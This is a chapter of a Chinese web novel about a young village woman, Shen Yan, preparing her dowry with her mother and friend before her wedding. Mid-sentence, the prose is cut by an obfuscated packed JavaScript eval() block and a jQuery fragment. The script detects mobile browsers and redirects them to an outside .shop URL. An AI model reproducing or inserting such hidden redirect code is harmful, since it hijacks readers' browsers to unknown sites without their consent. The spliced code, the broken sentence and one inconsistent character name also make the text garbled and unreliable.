越临近结婚，日子过得越快。沈彦以前没觉得时间走得有多急。每天早起做饭，喂鸡扫院，一天天没什么变化。可自从腊月十八的日子定下之后，她每天早上睁眼都要在脑子里过一遍，还有多少天。
“彦儿！起来了！今天得去镇上扯布！”李翠莲的声音从堂屋那边传过来。
沈彦应了一声，爬起来穿衣服。棉袄是去年做的，袖口磨毛了边，她低着头把扣子一颗一颗系好，又用手指拢了拢头发，拿皮筋扎了个低马尾。
早饭已经摆上了桌。小米粥和窝窝头，一碟腌萝卜。沈厚坐在桌边，端着一碗粥，呼噜呼噜地喝。沈芳和沈军坐在另一边，沈芳吃得很慢，沈军用筷子戳着窝窝头。
“爸，你去不去镇上？”沈彦坐下，端起粥碗。沈厚摇摇头：“你们去吧，我在家看着。”
李翠莲从灶房端着一盘咸菜出来，瞪了沈厚一眼：“你就知道在家待着。闺女办嫁妆，你这当爹的也不跟着去看看。”
“你们娘俩去就行了。”沈厚喝完最后一口粥，放下碗抹了抹嘴，起身走了。李翠莲看着他的背影叹了口气没再说什么，擦了擦手拿上布票和钱：“走吧。”
沈芳从饭碗上抬起头：“妈，我也想去。”
李翠莲问沈芳：“你去干啥？净添乱。”“我不添乱。”沈芳放下碗，已经站起来往门口走了。沈军也跟着嚷嚷：“我也去我也去！”
李翠莲看着孩子的脸，点了头：“行，都去。去了别乱跑，跟紧你姐。”
从沈家沟到镇上有七八里路，骑车要半个钟头。沈彦骑着那辆二八大杠，沈芳坐在后座上，两只手搂着她的腰。沈军骑着他那辆小车，链条有点松，蹬起来乱响。李翠莲骑在前面带路，背影挺得笔直。
风迎面灌过来，带着凉飕飕的感觉。路两边的杨树叶子快掉光了，光秃秃的枝丫伸向天空。
沈芳把脸贴在沈彦背上，闷闷地说了一句：“姐，你嫁人了，我还想你给我梳头？”“让妈给你梳。”“妈梳得紧，揪得头皮疼。”
沈彦没接话，脚下的踏板蹬得快了些。镇上还是老样子，一条主街，两边是供销社、粮站、邮局、卫生院。今天不是赶集的日子，街上人不多。
李翠莲领着三个孩子直奔供销社。柜台是木头做的，擦得发亮，玻璃柜里摆着布匹、搪瓷盆、暖壶、毛巾、香皂。
“同志，看看布。”李翠莲走到布料柜台前。售货员烫着卷发，脸上没什么表情，从柜台上搬下几匹布：“这些是刚到的，棉布、的确良……你们看看。”
李翠莲伸手摸了摸那匹枣红色的棉布，又摸了摸藏蓝色的布，回过头问沈彦：“你看着哪个好？”
沈彦伸手摸了摸那匹枣红色的布。手感厚实，颜色不扎眼，沉甸甸的。“这个吧。”沈彦回答，“做被面？”李翠莲点点头。
李翠莲又指着旁边一匹白底碎花的棉布：“这个做被里，配不配？”沈彦看了看，碎花是浅蓝色的小花。“行。”
李翠莲跟售货员磨了半天价，最后两匹布一共花了十八块。她又给沈彦扯了一块大红色的布做嫁衣，又买一块灰格子布做外套，零零碎碎加起来又是十几块。
“做两身衣裳，够你穿一阵子了。”李翠莲把布卷好，用绳子扎起来，递给沈彦，“嫁过去不能穿得太寒碜。”
沈彦接过布卷，抱在怀里。沈芳在旁边看中了一双白球鞋，扯着李翠莲的衣角不放。李翠莲犹豫了一下，最后还是掏了钱。
沈军没吭声，但眼睛一直盯着柜台里的一把玩具手枪。沈彦从口袋里摸出两块钱，递过去：“买吧。”
沈军抬起头看她，接过钱，小声说了一句“谢谢姐”，转身去找售货员了。
从供销社出来，李翠莲又领着去了隔壁的杂货店。两个暖壶、一个搪瓷脸盆、两条毛巾、两块香皂，堆在一起用网兜装着，沈彦提着，手指被勒得发红。
“妈，够了。”沈彦看她妈还要往里走。“枕头还没买呢。”沈彦说：““枕头我自己做。”
李翠莲看了她一眼，笑了：“你那针线活，缝个扣子都歪。”
沈彦没接话，提着东西往自行车那边走了。回到家，沈彦把布匹和东西搬进自己屋里，一样一样摆在炕上。枣红色被面、白底碎花被里、大红色的衣服料子、灰格外套布、暖壶、脸盆、毛巾、香皂等等。
她盯着这些东西看了几秒钟，然后转身去了灶房。李翠莲正在灶台前忙活，手里切着白菜。沈彦站到案板前，拿过另一把菜刀，切土豆。刀落下去，土豆片薄而匀，一片挨着一片，码得整整齐齐。
“彦儿。”李翠莲没回头，忽然叫了她一声。“嫁过去之后，有几句话你记住。”沈彦手上的刀没停，“婆家不比娘家，你要受委屈了就回家找妈，妈给你做主。可不要受了委屈自己咽，咱家虽然没钱人却不少，记住了没！”
“记住了妈。”沈彦的声音带着哽咽，眼眶一下子红了。她放下菜刀，猛地伸出胳膊抱了一下李翠莲，李翠莲被她勒得轻轻“哎哟”一声，却没推开，只是抬手拍着沈彦的后背，掌心带着常年做家务留下的薄茧，“傻孩子，哭啥。”她的声音也有些发颤，“都要成大人了。”
沈彦张了张嘴，想说些什么，可话到嘴边，只变成了闷闷的一声：“妈……”
李莲花拍着她后背的手顿了顿，指尖悄悄擦了擦自己眼角的湿意，“梁述话少，但你嫁的是他，不是他家里人。他家里人什么样，你别太往心里去。”
“钱的事，你自己拿着。梁述挣的钱别让他交给他妈。你攥手里，手里没钱腰杆直不起来。”沈彦突然有些好奇：“妈，你嫁给我爸的时候也这样？”她问。
李翠莲切菜的声音停了一瞬。“我嫁给你爸的时候十六，你奶奶厉害，你爸不爱管事，受了不少气。后来自己硬气起来了，人家就不敢欺负你了。”
李翠莲回头看了她一眼，又转回去继续切菜。“你不会受气，你不是那个性子。我看你骨子里还是像我。”
从那天起，沈彦每天除了做饭又多了一件事练针线活。她把李翠莲压在箱底的那些碎布头翻出来，一块一块地缝。坐在炕沿上，针线在布面上穿来穿去。缝几针就停下来看看，针脚歪了就拆了重来。
李翠莲有时候过来看一眼。“针脚别太密，费线。”“线别拉太紧，布会皱。”沈彦听着，手里的针放慢了些。
做枕头比缝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632804|206451||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
扣子费事。裁布、缝边、塞棉花、收口。沈彦做了三个晚上，拆了两回，第三回才做成。枣红色枕套，白布里，素面，没有绣花。针脚还是不太匀，有的地方密有的地方疏，但至少是个枕头的样子。
她把枕头翻过来看了看背面，叠好，放在柜子里。下午没事的时候，沈彦去了一趟马丽芳家。沈彦推门进去，马丽芳正坐在柜台后面说话，见她来了之后，很是热情。
“你可算来了。”马丽芳站起来，从柜台下面拿出一个布包，往沈彦面前一推，“给你的。”沈彦打开布包，里面是一对枕套。白底，绣着粉色的荷花和绿色的荷叶，针脚细密，边角镶了一圈蓝色滚边。
“你绣的？”沈彦把枕套展开，翻过来看了看背面。“绣了一个多月，手指头扎了多少下你自己数，这可是我绣的最好的一次了。”马丽芳伸出右手，食指上果然有一个红点。
沈彦把枕套叠好，重新放回布包里。“太好看了。”
“就这一句？我绣了一个多月，你就说一句好看？”沈彦嘴角弯了一下，把布包夹在胳膊底下，假装转身要走。
“哎，你急什么？”马丽芳从柜台后面绕出来，拉住她，“我问你，那个男的到底咋样？你们后面有没有接触过。”沈彦摇了摇头，“没见过，就见过那几次。”
马丽芳看她还是傻傻的样子，松开手。“你这也太仓促了都不多见面，行了行了，你走吧。嫁过去要是受委屈了，回来找我。”
沈彦夹着布包走出小卖部，走到门口回头说了一句：“肯定会找你，你可是我最好的朋友。”
进入腊月，沈彦的事更多了。嫁妆要最后检查一遍。两床被子，一床厚的一床薄的，已经絮好了棉花，被面被里缝在一起，四角抻得平整。她自己做的那对枕头，加上马丽芳送的那对枕套，套好之后摆在炕上，一红一白，倒也像样。两身衣裳叠好了放在柜子里，脸盆暖壶用布擦干净，一样一样码在堂屋角落，上面盖了一块布。
李翠莲又添了一样东西，一台缝纫机。崭新的，面板上还贴着保护纸，脚踩踏板，针头嗒嗒嗒地响。
“妈，这得多少钱？”“你别管。”李翠莲坐到缝纫机前，脚踩着踏板，手推着碎布头，针脚在布面上跑的又快又匀。“你学着用，以后给孩子做衣裳方便。”
沈彦站到缝纫机旁边，看了一会儿。李翠莲停下来，让她坐下。沈彦把脚放在踏板上，踩了一下，针头动了一下，又踩了一下，缝纫机发出嗒的一声。不连贯，断断续续的像不会走路的孩子。“多练就好了。”李翠莲说。
腊月十七，婚礼前一天。沈彦把嫁妆又过了一遍。确定东西一样不少后，她把那块盖布重新蒙好压了压四角，站在堂屋里看了一会儿。
然后她回了自己屋，从枕头底下摸出那好几本书。书边已经起毛了，封面折了一道印。她随手翻了翻，就把书合上了。随后塞进嫁妆箱子最底层。箱子里还有几件换洗衣服、一面小圆镜、一把梳子。她把箱子盖好，锁扣咔嗒一声扣上了。
窗外的月亮很亮。沈彦吹了灯，躺在炕上，拉过被子盖到下巴。窗纸上映着淡淡的月光，院子里偶尔有一声鸡叫。她闭上眼，明天就是腊月十八。